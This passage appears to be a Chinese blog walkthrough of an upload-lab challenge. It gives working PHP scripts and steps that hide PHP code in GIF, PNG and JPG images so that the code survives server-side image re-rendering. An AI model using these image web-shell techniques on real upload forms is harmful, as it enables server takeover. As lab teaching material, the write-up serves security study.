            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);         //unlink(filename)函数删除文件。 即如果判断到不是jpg则删除该文件
            }else{
                //给新图片指定文件名
                srand(time()); 
                $newfilename = strval(rand()).".jpg";     //strval() 函数用于获取变量的字符串值。
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);   //imagejpeg ($image ,$filename)— 输出图象到浏览器或文件,即从 image 图像以 filename 为文件名创建一个 JPEG 图像。即二次渲染。从这里看出最终保存的是经过二次渲染之后的图片,
                
                @unlink($target_path);   //删除原文件
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
        
//一下的代码审计与上面一样
    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);     //二次渲染

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
 }

代码审计后发现,代码分别对jpg,png,gif三中类型做了判断与处理,三者判断与处理过程一样
本关综合判断了后缀名、content-type,然后 利用imagecreatefrom[gif|png|jpg]函数判断是否是图片格式,如果是图片的话再用image[gif|png|jpg]函数对其进行二次渲染
由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片。

绕过方法:

gif:
先用copy命令制作一个图片马
在这里插入图片描述
上传成功,但是这并没有成功。我们将上传的图片下载到本地,可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片,也就是说服务器最后保存的是二次渲染后的图片,用winhex打开
在这里插入图片描述
可以发现,我们在webshell.gif末端添加的php代码已经被去除。貌似二次渲染破坏了一句话。
关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置(即没有被渲染的地方),然后将php代码写进去,就可以成功上传带有php代码的图片了。

在“查看”里面点击“同步比较”,经过对比,蓝色部分是没有发生变化的,
在这里插入图片描述
我们将代码写到该位置即可绕过了。
gif二次渲染绕过说是最简单的。将源文件和二次渲染过的文件进行比较,找出源文件中没有被修改的那段区域,在那段区域写入php代码即可。 png和jpg的二次渲染的绕过并不能像gif那样简单了。

png:
直接用某大神的脚本生成符合条件的png
写idat

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./test1600.png');
?>

在这里插入图片描述
成功生成图片马:
在这里插入图片描述
在这里插入图片描述
成功上传。

jpg:
这里也采用国外大牛编写的脚本 jpg_payload.php

<?php
    /*
 
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
 
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
 
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
 
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
 
    Sergey Bobrov @Black2Fan.
 
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
 
    */
 
    $miniPayload = "<?=phpinfo();?>";
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
 
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

先传随便找一个jpg图片,先上传至服务器然后再下载二次渲染后的图片到本地保存为1.jpg
插入php代码:使用该脚本处理1.jpg,命令:
php jpg_payload.php 1.jpg
生成payload_1.jpg,
在这里插入图片描述
上传,再下载二次渲染的图片对比,phpinfo还在!使用16进制编辑器打开,就可以看到插入的php代码.
在这里插入图片描述
可以看到,php代码没有被去除,证明我们成功上传了含有php代码的jpg图片。
注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片。

Pass—16()

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值